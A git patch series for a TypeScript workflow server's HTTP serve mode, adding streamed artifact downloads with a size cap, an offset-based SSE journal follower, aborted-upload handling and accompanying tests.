under artifacts/) is a 404. const escape = await h.handleRequest(req("GET", `/v1/runs/${runId}/artifacts/${encodeURIComponent("../run_summary.jsonl")}`)); @@ -489,6 +500,96 @@ test("artifacts round-trip through the handler: list then byte-identical downloa } }); +/** A stream target that records writes and can be aborted like a disconnecting client. */ +function abortableTarget(): StreamTarget & { chunks: string[]; abort: () => void } { + let aborted = false; + const cbs: Array<() => void> = []; + const chunks: string[] = []; + return { + chunks, + write: (c: string) => void chunks.push(c), + get aborted(): boolean { + return aborted; + }, + onAbort: (cb: () => void) => void cbs.push(cb), + abort(): void { + aborted = true; + for (const cb of cbs) cb(); + }, + }; +} + +/** Poll until `target` holds at least `n` SSE `data:` frames. */ +async function waitForDataFrames(target: { chunks: string[] }, n: number): Promise { + const deadline = Date.now() + 5000; + while (target.chunks.filter((c) => c.startsWith("data: ")).length < n) { + if (Date.now() > deadline) throw new Error(`timed out waiting for ${n} SSE data frames`); + await new Promise((r) => setTimeout(r, 5)); + } +} + +test("a live SSE connection resolves the run dir with at most one scan", async () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-h-scan-")); + try { + const journal = join(runDir, "run_summary.jsonl"); + writeFileSync(journal, '{"type":"WORKFLOW_START","run_id":"r"}\n'); + let scans = 0; + const h = makeHandler({ + tools: [NOARG_TOOL], + // The run never finishes, so `run_dir` is never set on the record and + // every poll must go through the resolver. + callTool: () => new Promise(() => {}), + resolveRunDir: () => { + scans += 1; + return runDir; + }, + ssePollMs: 5, + }); + const started = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs"))); + const res = await h.handleRequest(req("GET", `/v1/runs/${started.run_id}/events`, { headers: { accept: "text/event-stream" } })); + assert.ok(res.stream); + const target = abortableTarget(); + const done = res.stream!(target); + await waitForDataFrames(target, 1); + // Grow the journal and wait for its frame — proof that later polls (each of + // which resolves the run dir) happened after the first scan. + appendFileSync(journal, '{"type":"STEP_END","status":0}\n'); + await waitForDataFrames(target, 2); + target.abort(); + await done; + assert.equal(scans, 1, "the runs tree was scanned exactly once for the whole live stream"); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("an artifact past maxArtifactBytes is 413 while a smaller one still streams", async () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-h-cap-")); + try { + mkdirSync(join(runDir, "artifacts"), { recursive: true }); + writeFileSync(join(runDir, "artifacts", "big.bin"), Buffer.alloc(10, 1)); + writeFileSync(join(runDir, "artifacts", "small.bin"), Buffer.alloc(4, 2)); + writeFileSync(join(runDir, "run_summary.jsonl"), ""); + const h = makeHandler({ + tools: [NOARG_TOOL], + maxArtifactBytes: 4, + callTool: async () => ({ text: "ok", isError: false, exitStatus: 0, runDir }), + }); + const started = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true"))); + + const big = await h.handleRequest(req("GET", `/v1/runs/${started.run_id}/artifacts/big.bin`)); + assert.equal(big.status, 413); + assert.equal(bodyJson(big).error.code, "E_ARTIFACT_TOO_LARGE"); + assert.match(bodyJson(big).error.message, /JAIPH_SERVE_MAX_ARTIFACT_BYTES/); + + const small = await h.handleRequest(req("GET", `/v1/runs/${started.run_id}/artifacts/small.bin`)); + assert.equal(small.status, 200); + assert.equal(small.bodyFile!.size, 4); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + test("artifacts list is empty for a run with no published files", async () => { const runDir = mkdtempSync(join(tmpdir(), "jaiph-h-empty-")); try { diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index 0af0d6d9..a99c9fa0 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -1,5 +1,5 @@ import { randomUUID, timingSafeEqual } from "node:crypto"; -import { existsSync, readFileSync } from "node:fs"; +import { statSync } from "node:fs"; import { basename, join } from "node:path"; import type { McpToolSpec } from "../mcp/tools"; import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; @@ -40,6 +40,12 @@ export interface RunRecord { cancel?: () => void; /** Monotonic insertion index for newest-first listing. */ order: number; + /** + * Cached result of the injected `resolveRunDir` scan for a still-running run, + * so a live SSE poll loop resolves the runs tree at most once. Never part of + * the public run object; `run_dir` (set at finalize) takes precedence. + */ + resolvedRunDir?: string; } /** A normalized inbound request — decoupled from `node:http` so it is unit-testable. */ @@ -60,8 +66,13 @@ export interface ServeResponse { status: number; headers: Record; body: string; - /** Binary body (artifact download / NDJSON journal); takes precedence over `body`. */ - bodyBuffer?: Buffer; + /** + * Absolute path + byte count of a file to stream as the body (artifact + * download / NDJSON journal). The HTTP layer pipes exactly `size` bytes with + * backpressure and never buffers the whole file; takes precedence over + * `body`. + */ + bodyFile?: { path: string; size: number }; /** * When set, the HTTP layer streams the body by driving this function instead * of writing `body` — used for the SSE event follow. It resolves when the @@ -107,17 +118,25 @@ export interface ServeHandlerOptions { /** Run-id source, injectable for tests. Defaults to `randomUUID`. */ newRunId?: () => string; /** - * Resolve a run's host-side run directory (the one holding - * `run_summary.jsonl` and `artifacts/`). Called live — mid-run and after — - * for the events/artifacts endpoints. Defaults to the record's own `run_dir` - * (populated at finalize); the server supplies a resolver that also scans the - * runs root by run id so a still-running run is reachable. + * Resolve a still-running run's host-side run directory (the one holding + * `run_summary.jsonl` and `artifacts/`). Consulted by the events/artifacts + * endpoints only while the record's own `run_dir` (populated at finalize) is + * absent, and the first non-null result is cached on the record — so one + * live SSE connection scans the runs tree at most once, no matter how many + * times it polls. The server supplies a resolver that scans the runs root by + * run id. */ resolveRunDir?: (record: RunRecord) => string | null; /** SSE journal-follow poll interval (ms). Defaults to 250. */ ssePollMs?: number; /** SSE keep-alive comment cadence (ms). Defaults to 15000. */ sseKeepAliveMs?: number; + /** + * Max size in bytes of one artifact download; a larger file is refused with + * 413. `0` (the default) serves any size — downloads stream with + * backpressure, so size never translates into server memory. + */ + maxArtifactBytes?: number; } function isTerminal(status: RunStatus): boolean { @@ -388,16 +407,25 @@ export class ServeHandler { return { status: 202, headers: { "content-type": "application/json" }, body: JSON.stringify(this.toRunObject(record)) }; } - /** Host-side run dir for a record: injected resolver, else its own `run_dir`. */ + /** + * Host-side run dir for a record: its own `run_dir` (set at finalize), else + * the cached mid-run resolution, else one injected-resolver scan whose hit is + * cached on the record — repeated polls never rescan the runs tree. + */ private runDirFor(record: RunRecord): string | null { - return this.opts.resolveRunDir ? this.opts.resolveRunDir(record) : record.run_dir; + if (record.run_dir) return record.run_dir; + if (record.resolvedRunDir) return record.resolvedRunDir; + const dir = this.opts.resolveRunDir ? this.opts.resolveRunDir(record) : null; + if (dir) record.resolvedRunDir = dir; + return dir; } /** * `GET /v1/runs/{id}/events`. Default: the run's `run_summary.jsonl` as - * `application/x-ndjson`, verbatim, then close. `Accept: text/event-stream`: - * SSE replay + live follow until the run is terminal. The journal's own - * redaction is the redaction guarantee; raw capture files are never served. + * `application/x-ndjson`, streamed verbatim (never buffered whole), then + * close. `Accept: text/event-stream`: SSE replay + live follow until the run + * is terminal. The journal's own redaction is the redaction guarantee; raw + * capture files are never served. */ private runEvents(req: ServeRequest, id: string): ServeResponse { const record = this.runs.get(id); @@ -407,8 +435,20 @@ export class ServeHandler { if (!wantsSse) { const dir = resolveRunDir(); const file = dir ? join(dir, RUN_SUMMARY) : null; - const bodyBuffer = file && existsSync(file) ? readFileSync(file) : Buffer.alloc(0); - return { status: 200, headers: { "content-type": "application/x-ndjson" }, body: "", bodyBuffer }; + let size = 0; + if (file) { + try { + size = statSync(file).size; + } catch { + size = 0; // Absent journal serves as an empty body. + } + } + return { + status: 200, + headers: { "content-type": "application/x-ndjson", "content-length": String(size) }, + body: "", + bodyFile: file && size > 0 ? { path: file, size } : undefined, + }; } return { status: 200, @@ -438,10 +478,13 @@ export class ServeHandler { /** * `GET /v1/runs/{id}/artifacts/{path}`: download one published file as - * `application/octet-stream`. Traversal-proof — anything escaping the run's - * `artifacts/` dir (`..`, absolute paths, escaping symlinks) is a 404, and - * raw `%06d-*.out`/`.err` capture files (run-dir root, not `artifacts/`) are - * unreachable by construction. + * `application/octet-stream`, streamed with backpressure — the complete + * artifact is never buffered, so an arbitrarily large file costs no server + * memory. `maxArtifactBytes > 0` refuses larger files with 413. + * Traversal-proof — anything escaping the run's `artifacts/` dir (`..`, + * absolute paths, escaping symlinks) is a 404, and raw `%06d-*.out`/`.err` + * capture files (run-dir root, not `artifacts/`) are unreachable by + * construction. */ private downloadArtifact(id: string, rawPath: string): ServeResponse { const record = this.runs.get(id); @@ -456,21 +499,30 @@ export class ServeHandler { } const abs = resolveArtifactPath(dir, requested); if (!abs) return this.error(404, "E_NOT_FOUND", "unknown artifact"); - let bodyBuffer: Buffer; + let size: number; try { - bodyBuffer = readFileSync(abs); + size = statSync(abs).size; } catch { return this.error(404, "E_NOT_FOUND", "unknown artifact"); } + const maxBytes = this.opts.maxArtifactBytes ?? 0; + if (maxBytes > 0 && size > maxBytes) { + return this.error( + 413, + "E_ARTIFACT_TOO_LARGE", + `artifact is ${size} bytes; downloads are capped at ${maxBytes} (JAIPH_SERVE_MAX_ARTIFACT_BYTES)`, + ); + } const filename = basename(abs).replace(/"/g, ""); return { status: 200, headers: { "content-type": "application/octet-stream", "content-disposition": `attachment; filename="${filename}"`, + "content-length": String(size), }, body: "", - bodyBuffer, + bodyFile: { path: abs, size }, }; } diff --git a/src/cli/serve/runfiles.test.ts b/src/cli/serve/runfiles.test.ts index 81249ced..906cd254 100644 --- a/src/cli/serve/runfiles.test.ts +++ b/src/cli/serve/runfiles.test.ts @@ -1,9 +1,10 @@ import test from "node:test"; import assert from "node:assert/strict"; -import { mkdirSync, mkdtempSync, realpathSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { appendFileSync, mkdirSync, mkdtempSync, readFileSync, readSync, realpathSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { createRequire } from "node:module"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { listArtifacts, resolveArtifactPath, streamRunEventsSse, type StreamTarget } from "./runfiles"; +import { createJournalFollower, listArtifacts, resolveArtifactPath, streamRunEventsSse, type StreamTarget } from "./runfiles"; /** A run dir with an `artifacts/` subdir and a couple of raw capture files at the root. */ function makeRunDir(): string { @@ -188,6 +189,99 @@ test("streamRunEventsSse replays a terminal run's journal as data: frames then e } }); +// === journal follower: fd + offset, no rereads === + +test("createJournalFollower emits only complete lines and finishes a split line without rereading", () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-follow-")); + const file = join(runDir, "run_summary.jsonl"); + const follower = createJournalFollower(); + try { + assert.deepEqual(follower.readNewLines(file), [], "missing file is not an error"); + writeFileSync(file, '{"a":1}\n{"b":'); + assert.deepEqual(follower.readNewLines(file), ['{"a":1}'], "the partial trailing line is withheld"); + appendFileSync(file, '2}\n'); + assert.deepEqual(follower.readNewLines(file), ['{"b":2}'], "the completed line is emitted from the buffered tail"); + assert.deepEqual(follower.readNewLines(file), [], "no appended bytes, no lines"); + } finally { + follower.close(); + rmSync(runDir, { recursive: true, force: true }); + } +}); + +/** Poll until `target` holds at least `n` SSE `data:` frames. */ +async function waitForFrames(target: { chunks: string[] }, n: number): Promise { + const deadline = Date.now() + 5000; + while (target.chunks.filter((c) => c.startsWith("data: ")).length < n) { + if (Date.now() > deadline) throw new Error(`timed out waiting for ${n} SSE data frames`); + await new Promise((r) => setTimeout(r, 5)); + } +} + +test("SSE follow reads each appended journal byte exactly once, never before the current offset", async () => { + const runDir = makeRunDir(); + const journal = join(runDir, "run_summary.jsonl"); + const lines = ['{"n":1}', '{"n":2}', '{"n":3}', '{"n":4}']; + writeFileSync(journal, `${lines[0]}\n${lines[1]}\n`); + // Instrument fs: record every positional read, and catch any whole-file load + // of the journal (the pre-follower implementation reread it on every poll). + // Patch the live CJS module object (what the compiled code reads at call + // time) — the tsc `import *` namespace copy is getter-only. + const fsAny = createRequire(__filename)("node:fs") as Record; + const origReadSync = readSync; + const origReadFileSync = readFileSync; + const reads: Array<{ fd: number; position: number; bytes: number }> = []; + let wholeJournalReads = 0; + const target = fakeTarget(); + let terminal = false; + try { + fsAny.readSync = (fd: number, buffer: Buffer, off: number, len: number, pos: number): number => { + const n = (origReadSync as (...a: unknown[]) => number)(fd, buffer, off, len, pos); + reads.push({ fd, position: pos, bytes: n }); + return n; + }; + fsAny.readFileSync = (...args: unknown[]): unknown => { + if (args[0] === journal) wholeJournalReads += 1; + return (origReadFileSync as (...a: unknown[]) => unknown)(...args); + }; + const done = streamRunEventsSse(target, { + resolveRunDir: () => runDir, + isTerminal: () => terminal, + pollMs: 5, + keepAliveMs: 15000, + }); + await waitForFrames(target, 2); + appendFileSync(journal, `${lines[2]}\n`); + await waitForFrames(target, 3); + appendFileSync(journal, `${lines[3]}\n`); + await waitForFrames(target, 4); + terminal = true; + await done; + } finally { + fsAny.readSync = origReadSync; + fsAny.readFileSync = origReadFileSync; + rmSync(runDir, { recursive: true, force: true }); + } + const payloads = target.chunks.filter((c) => c.startsWith("data: ")).map((c) => c.slice(6).replace(/\n\n$/, "")); + assert.deepEqual(payloads, lines, "every line arrived once, in order"); + assert.equal(wholeJournalReads, 0, "the journal is never loaded whole on a poll"); + // The follower's fd is the one whose positional reads total the journal size. + const totalBytes = Buffer.byteLength(lines.map((l) => `${l}\n`).join("")); + const byFd = new Map>(); + for (const r of reads) { + const list = byFd.get(r.fd) ?? []; + list.push({ position: r.position, bytes: r.bytes }); + byFd.set(r.fd, list); + } + const followerReads = [...byFd.values()].find((rs) => rs.reduce((s, r) => s + r.bytes, 0) === totalBytes); + assert.ok(followerReads, "exactly the journal's byte count was read — each byte once"); + let offset = 0; + for (const r of followerReads!) { + assert.equal(r.position, offset, "every read starts at the high-water mark — no byte before the offset is reread"); + offset += r.bytes; + } + assert.equal(offset, totalBytes); +}); + test("streamRunEventsSse stops promptly when the client disconnects mid-run", async () => { const runDir = makeRunDir(); try { diff --git a/src/cli/serve/runfiles.ts b/src/cli/serve/runfiles.ts index adb84abe..6b19069d 100644 --- a/src/cli/serve/runfiles.ts +++ b/src/cli/serve/runfiles.ts @@ -1,4 +1,4 @@ -import { existsSync, readFileSync, readdirSync, realpathSync, statSync, type Dirent } from "node:fs"; +import { closeSync, existsSync, fstatSync, openSync, readSync, readdirSync, realpathSync, statSync, type Dirent } from "node:fs"; import { join, resolve, sep } from "node:path"; /** A run's durable journal file name, under its run directory. */ @@ -112,28 +112,80 @@ export interface SseEventsOptions { keepAliveMs: number; } -/** Read complete (newline-terminated) lines from `file` starting at byte `offset`. */ -function readNewLines(file: string, offset: number): { lines: string[]; nextOffset: number } { - let buf: Buffer; - try { - buf = readFileSync(file); - } catch { - return { lines: [], nextOffset: offset }; - } - if (buf.length <= offset) return { lines: [], nextOffset: offset }; - const chunk = buf.toString("utf8", offset); - const lastNl = chunk.lastIndexOf("\n"); - if (lastNl === -1) return { lines: [], nextOffset: offset }; - const complete = chunk.slice(0, lastNl); - const lines = complete.length > 0 ? complete.split("\n") : []; - const nextOffset = offset + Buffer.byteLength(chunk.slice(0, lastNl + 1), "utf8"); - return { lines, nextOffset }; +/** + * Incremental reader over an append-only journal: an open file descriptor plus + * a byte offset, so each poll reads only the bytes appended since the previous + * one — bytes before the current offset are never read again, and no poll + * loads the whole file. Bytes after the last newline (a partial line still + * being written) are buffered in memory and completed on a later call, never + * re-read from disk. + */ +export interface JournalFollower { + /** Complete (newline-terminated) lines appended to `file` since the last call. */ + readNewLines(file: string): string[]; + close(): void; +} + +export function createJournalFollower(): JournalFollower { + let fd: number | null = null; + let offset = 0; + let tail = Buffer.alloc(0); + return { + readNewLines(file: string): string[] { + if (fd === null) { + try { + fd = openSync(file, "r"); + } catch { + return []; // The journal may not exist yet; try again next poll. + } + } + let size: number; + try { + size = fstatSync(fd).size; + } catch { + return []; + } + if (size <= offset) return []; + const appended = Buffer.alloc(size - offset); + let read = 0; + try { + while (read < appended.length) { + const n = readSync(fd, appended, read, appended.length - read, offset + read); + if (n === 0) break; + read += n; + } + } catch { + return []; + } + offset += read; + const buf = tail.length > 0 ? Buffer.concat([tail, appended.subarray(0, read)]) : appended.subarray(0, read); + const lastNl = buf.lastIndexOf(0x0a); + if (lastNl === -1) { + tail = Buffer.from(buf); + return []; + } + // Copy the partial tail out so the full appended buffer can be collected. + tail = Buffer.from(buf.subarray(lastNl + 1)); + const complete = buf.toString("utf8", 0, lastNl); + return complete.length > 0 ? complete.split("\n") : []; + }, + close(): void { + if (fd === null) return; + try { + closeSync(fd); + } catch { + // Already closed; nothing to release. + } + fd = null; + }, + }; } /** * SSE follower for a run's durable journal. Replays every existing line as * `data: `, follows the file as it appends (polling every - * `pollMs`), keeps proxies from idling the connection out with a `:ka` comment + * `pollMs` through a {@link JournalFollower}, so each poll reads only the new + * bytes), keeps proxies from idling the connection out with a `:ka` comment * every `keepAliveMs`, and closes with `event: end` once the run is terminal — * so it works identically for a still-running run and an already-terminal one * (full replay + immediate end). @@ -143,31 +195,33 @@ function readNewLines(file: string, offset: number): { lines: string[]; nextOffs * `.err` capture files are never opened here. */ export async function streamRunEventsSse(target: StreamTarget, opts: SseEventsOptions): Promise { - let offset = 0; + const follower = createJournalFollower(); let lastKeepAlive = Date.now(); const flush = (): void => { const dir = opts.resolveRunDir(); if (!dir) return; - const { lines, nextOffset } = readNewLines(join(dir, RUN_SUMMARY), offset); - offset = nextOffset; - for (const line of lines) target.write(`data: ${line}\n\n`); + for (const line of follower.readNewLines(join(dir, RUN_SUMMARY))) target.write(`data: ${line}\n\n`); }; - for (;;) { - if (target.aborted) return; - flush(); - if (opts.isTerminal()) { - // A final line (e.g. WORKFLOW_END) may have landed between the read above - // and the registry marking the run terminal; flush once more so the - // stream is complete before closing. + try { + for (;;) { + if (target.aborted) return; flush(); - target.write("event: end\ndata: {}\n\n"); - return; - } - if (Date.now() - lastKeepAlive >= opts.keepAliveMs) { - target.write(":ka\n\n"); - lastKeepAlive = Date.now(); + if (opts.isTerminal()) { + // A final line (e.g. WORKFLOW_END) may have landed between the read above + // and the registry marking the run terminal; flush once more so the + // stream is complete before closing. + flush(); + target.write("event: end\ndata: {}\n\n"); + return; + } + if (Date.now() - lastKeepAlive >= opts.keepAliveMs) { + target.write(":ka\n\n"); + lastKeepAlive = Date.now(); + } + await sleep(opts.pollMs, target); } - await sleep(opts.pollMs, target); + } finally { + follower.close(); } } diff --git a/src/cli/serve/server.test.ts b/src/cli/serve/server.test.ts new file mode 100644 index 00000000..5125f24f --- /dev/null +++ b/src/cli/serve/server.test.ts @@ -0,0 +1,187 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { EventEmitter } from "node:events"; +import { connect, type Socket } from "node:net"; +import type { IncomingMessage, Server } from "node:http"; +import { closeSync, createReadStream, ftruncateSync, mkdirSync, mkdtempSync, openSync, realpathSync, rmSync, writeFileSync, type ReadStream } from "node:fs"; +import { createRequire } from "node:module"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { createHttpServer, listen, readBody } from "./server"; +import { ServeHandler } from "./handler"; +import type { McpToolSpec } from "../mcp/tools"; +import type { WorkflowCallResult } from "../exec/call"; + +const NOARG_TOOL: McpToolSpec = { + name: "ping", + workflow: "ping", + description: "Pings.", + params: [], + inputSchema: { type: "object", properties: {}, additionalProperties: false }, +}; + +function makeHandler(callTool: () => Promise): ServeHandler { + let n = 0; + return new ServeHandler({ + version: "0.0.0-test", + serverTitle: "jaiph — test.jh", + getTools: () => [NOARG_TOOL], + callTool, + maxConcurrent: 4, + now: () => "2026-07-24T00:00:00.000Z", + newRunId: () => `run-${n++}`, + }); +} + +function delay(ms: number): Promise { + return new Promise((r) => setTimeout(r, ms)); +} + +async function waitFor(predicate: () => boolean, what: string, timeoutMs = 5000): Promise { + const deadline = Date.now() + timeoutMs; + while (!predicate()) { + if (Date.now() > deadline) throw new Error(`timed out waiting for ${what}`); + await delay(10); + } +} + +function closeServer(server: Server): Promise { + return new Promise((r) => { + server.close(() => r()); + // fetch keeps idle keep-alive connections; sever them so close() resolves. + server.closeAllConnections(); + }); +} + +// === readBody settlement === + +test("readBody settles promptly when a request closes before end", async () => { + const req = new EventEmitter() as unknown as IncomingMessage; + const pending = readBody(req); + (req as unknown as EventEmitter).emit("data", Buffer.from('{"partial":')); + (req as unknown as EventEmitter).emit("close"); + const result = await Promise.race([pending, delay(500).then(() => "still-pending" as const)]); + assert.notEqual(result, "still-pending", "readBody must settle on premature close, not hang"); + assert.deepEqual(result, { body: "", tooLarge: false, aborted: true }); +}); + +test("readBody still resolves a complete body, with close after end being a no-op", async () => { + const req = new EventEmitter() as unknown as IncomingMessage; + const pending = readBody(req); + const emitter = req as unknown as EventEmitter; + emitter.emit("data", Buffer.from('{"a":')); + emitter.emit("data", Buffer.from("1}")); + emitter.emit("end"); + emitter.emit("close"); + assert.deepEqual(await pending, { body: '{"a":1}', tooLarge: false, aborted: false }); +}); + +// === destroying a request mid-upload === + +test("destroying a request mid-upload occupies no run slot and the server keeps serving", async () => { + let calls = 0; + const handler = makeHandler(async () => { + calls += 1; + return { text: "ok", isError: false, exitStatus: 0 }; + }); + const server = createHttpServer(handler, () => {}); + const port = await listen(server, "127.0.0.1", 0); + try { + const socket: Socket = connect(port, "127.0.0.1"); + await new Promise((r) => socket.on("connect", () => r())); + // Declare a bigger body than we send, then vanish mid-upload. + socket.write( + "POST /v1/workflows/ping/runs HTTP/1.1\r\n" + + "host: localhost\r\n" + + "content-type: application/json\r\n" + + "content-length: 64\r\n" + + "\r\n" + + '{"half":', + ); + await delay(50); + socket.destroy(); + await delay(100); + assert.equal(handler.inFlight(), 0, "the aborted request holds no run slot"); + assert.equal(calls, 0, "the aborted request never started a workflow"); + const res = await fetch(`http://127.0.0.1:${port}/healthz`); + assert.equal(res.status, 200, "the server still answers after the aborted upload"); + } finally { + await closeServer(server); + } +}); + +// === artifact streaming through a real socket === + +/** A finished run whose run_dir points at a temp dir with one published artifact. */ +async function serveArtifact(payloadPath: string, payload: Buffer | null): Promise<{ + server: Server; + port: number; + runId: string; + runDir: string; +}> { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-srv-art-")); + mkdirSync(join(runDir, "artifacts"), { recursive: true }); + writeFileSync(join(runDir, "run_summary.jsonl"), ""); + if (payload !== null) writeFileSync(join(runDir, "artifacts", payloadPath), payload); + const handler = makeHandler(async () => ({ text: "ok", isError: false, exitStatus: 0, runDir })); + const server = createHttpServer(handler, () => {}); + const port = await listen(server, "127.0.0.1", 0); + const res = await fetch(`http://127.0.0.1:${port}/v1/workflows/ping/runs?wait=true`, { method: "POST" }); + const runId = ((await res.json()) as { run_id: string }).run_id; + return { server, port, runId, runDir }; +} + +test("an artifact download round-trips byte-identically through a real socket with content-length", async () => { + // A deterministic non-trivial payload, bigger than one stream chunk. + const payload = Buffer.alloc(1024 * 1024); + for (let i = 0; i < payload.length; i += 1) payload[i] = i % 251; + const { server, port, runId, runDir } = await serveArtifact("blob.bin", payload); + try { + const dl = await fetch(`http://127.0.0.1:${port}/v1/runs/${runId}/artifacts/blob.bin`); + assert.equal(dl.status, 200); + assert.equal(dl.headers.get("content-length"), String(payload.length)); + assert.deepEqual(Buffer.from(await dl.arrayBuffer()), payload, "streamed bytes match the artifact"); + } finally { + await closeServer(server); + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("disconnecting the client mid-download destroys the artifact file stream", async () => { + // A sparse file far larger than the socket buffers, so a non-reading client + // stalls the transfer on backpressure instead of letting it complete. + const { server, port, runId, runDir } = await serveArtifact("big.bin", null); + const bigPath = join(runDir, "artifacts", "big.bin"); + const fd = openSync(bigPath, "w"); + ftruncateSync(fd, 256 * 1024 * 1024); + closeSync(fd); + // The download endpoint serves the artifact's real path (symlinks resolved). + const realBigPath = realpathSync(bigPath); + // Patch the live CJS module object (what the compiled server reads at call + // time) — the tsc `import *` namespace copy is getter-only. + const fsAny = createRequire(__filename)("node:fs") as Record; + const origCreateReadStream = createReadStream; + const created: ReadStream[] = []; + try { + fsAny.createReadStream = (...args: unknown[]): ReadStream => { + const stream = (origCreateReadStream as (...a: unknown[]) => ReadStream)(...args); + if (args[0] === realBigPath) created.push(stream); + return stream; + }; + const socket: Socket = connect(port, "127.0.0.1"); + await new Promise((r) => socket.on("connect", () => r())); + // Never read the response: kernel + stream buffers fill and backpressure + // pauses the file stream mid-transfer. + socket.pause(); + socket.write(`GET /v1/runs/${runId}/artifacts/big.bin HTTP/1.1\r\nhost: localhost\r\n\r\n`); + await waitFor(() => created.length === 1, "the artifact file stream to open"); + assert.equal(created[0].destroyed, false, "the stalled stream stays open while the client is connected"); + socket.destroy(); + await waitFor(() => created[0].destroyed, "the file stream to be destroyed"); + assert.ok(created[0].destroyed, "client disconnect closes the file stream"); + } finally { + fsAny.createReadStream = origCreateReadStream; + await closeServer(server); + rmSync(runDir, { recursive: true, force: true }); + } +}); diff --git a/src/cli/serve/server.ts b/src/cli/serve/server.ts index c9c80fee..76b14b08 100644 --- a/src/cli/serve/server.ts +++ b/src/cli/serve/server.ts @@ -1,5 +1,7 @@ import { createServer, type IncomingMessage, type Server, type ServerResponse } from "node:http"; import type { AddressInfo } from "node:net"; +import { createReadStream } from "node:fs"; +import { pipeline } from "node:stream"; import { MAX_BODY_BYTES, type ServeHandler, type ServeRequest } from "./handler"; import type { StreamTarget } from "./runfiles"; @@ -13,7 +15,13 @@ import type { StreamTarget } from "./runfiles"; export function createHttpServer(handler: ServeHandler, log: (line: string) => void): Server { return createServer((req: IncomingMessage, res: ServerResponse) => { readBody(req) - .then(({ body, tooLarge }) => { + .then(({ body, tooLarge, aborted }) => { + if (aborted) { + // The client destroyed the request mid-body: there is no one to + // respond to and no work to start. + res.destroy(); + return undefined; + } const url = new URL(req.url ?? "/", "http://localhost"); const serveReq: ServeRequest = { method: req.method ?? "GET", @@ -26,6 +34,7 @@ export function createHttpServer(handler: ServeHandler, log: (line: string) => v return handler.handleRequest(serveReq); }) .then((response) => { + if (!response) return undefined; res.writeHead(response.status, response.headers); if (response.stream) { // Long-lived streaming response (SSE follow): drive it over a target @@ -35,7 +44,10 @@ export function createHttpServer(handler: ServeHandler, log: (line: string) => v res.end(); }); } - res.end(response.bodyBuffer ?? response.body); + if (response.bodyFile) { + return streamBodyFile(response.bodyFile, res); + } + res.end(response.body); return undefined; }) .catch((err) => { @@ -48,6 +60,25 @@ export function createHttpServer(handler: ServeHandler, log: (line: string) => v }); } +/** + * Stream a file body with backpressure: `pipeline` pauses the read stream when + * the socket is congested and destroys it when the client disconnects, so no + * more than a small stream buffer of the file is ever in memory. The read is + * pinned to the `size` advertised in `content-length` even if the file grows + * mid-stream (an appending journal). Errors after the headers are sent cannot + * become an HTTP error; the connection is simply torn down by `pipeline`. + */ +function streamBodyFile(bodyFile: { path: string; size: number }, res: ServerResponse): Promise { + if (bodyFile.size === 0) { + res.end(); + return Promise.resolve(); + } + const file = createReadStream(bodyFile.path, { start: 0, end: bodyFile.size - 1 }); + return new Promise((resolveStream) => { + pipeline(file, res, () => resolveStream()); + }); +} + /** * Wire a `StreamTarget` to a live socket: writes go straight to the response, * and the client disconnecting (`req` close) flips `aborted` and fires the @@ -78,24 +109,47 @@ function makeStreamTarget(req: IncomingMessage, res: ServerResponse): StreamTarg }; } -/** Read the request body as a string, flagging (and truncating) once it passes the cap. */ -function readBody(req: IncomingMessage): Promise<{ body: string; tooLarge: boolean }> { - return new Promise((resolve, reject) => { +/** What one request body read settled to. `aborted` means the client went away mid-body. */ +export interface ReadBodyResult { + body: string; + tooLarge: boolean; + aborted: boolean; +} + +/** + * Read the request body as a string, flagging (and truncating) once it passes + * the cap. Always settles: a request destroyed mid-upload never emits `end`, + * so premature `close` / `error` resolve with `aborted: true` — releasing the + * buffered chunks and letting the caller drop the request without starting any + * work. Exported for direct unit testing of that settlement contract. + */ +export function readBody(req: IncomingMessage): Promise { + return new Promise((resolve) => { const chunks: Buffer[] = []; let total = 0; let tooLarge = false; + let settled = false; + const settle = (result: ReadBodyResult): void => { + if (settled) return; + settled = true; + chunks.length = 0; + resolve(result); + }; req.on("data", (chunk: Buffer) => { + if (settled) return; total += chunk.length; if (total > MAX_BODY_BYTES) { // Past the cap: stop buffering (bound memory) but keep draining so the // socket can carry the 413 response. tooLarge = true; + chunks.length = 0; return; } chunks.push(chunk); }); - req.on("end", () => resolve({ body: tooLarge ? "" : Buffer.concat(chunks).toString("utf8"), tooLarge })); - req.on("error", reject); + req.on("end", () => settle({ body: tooLarge ? "" : Buffer.concat(chunks).toString("utf8"), tooLarge, aborted: false })); + req.on("close", () => settle({ body: "", tooLarge, aborted: true })); + req.on("error", () => settle({ body: "", tooLarge, aborted: true })); }); } From f2c92a9f1d6b3957a94dab151c910ac090491af2 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 18:32:46 +0200 Subject: [PATCH 13/24] Feat: unify execution-policy contract across run, serve, and MCP Route run, serve, and MCP through one shared execution-policy parser so sandbox posture, workspace, repeatable --env, --inplace, --unsafe, and --yes behave identically in every mode. Reject mutually exclusive postures and command-specific unsupported flags as usage errors before spawning, keeping only display (--raw) and transport (--host/--port) options command-specific. Define a single precedence order across CLI flags, JAIPH_* env vars, and workflow runtime metadata, resolve and print the effective posture once at server startup, and apply it to every call while preserving the standalone-container exception. Adopt one lifecycle-hook contract for direct, HTTP, and MCP invocations, backed by a table-driven integration suite and hook tests, with matching docs and env-var reference updates. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 2 + QUEUE.md | 21 -- docs/architecture.md | 2 +- docs/cli.md | 20 +- docs/configuration.md | 5 +- docs/env-vars.md | 19 +- docs/hooks.md | 12 +- docs/mcp.md | 6 +- docs/serve.md | 2 +- 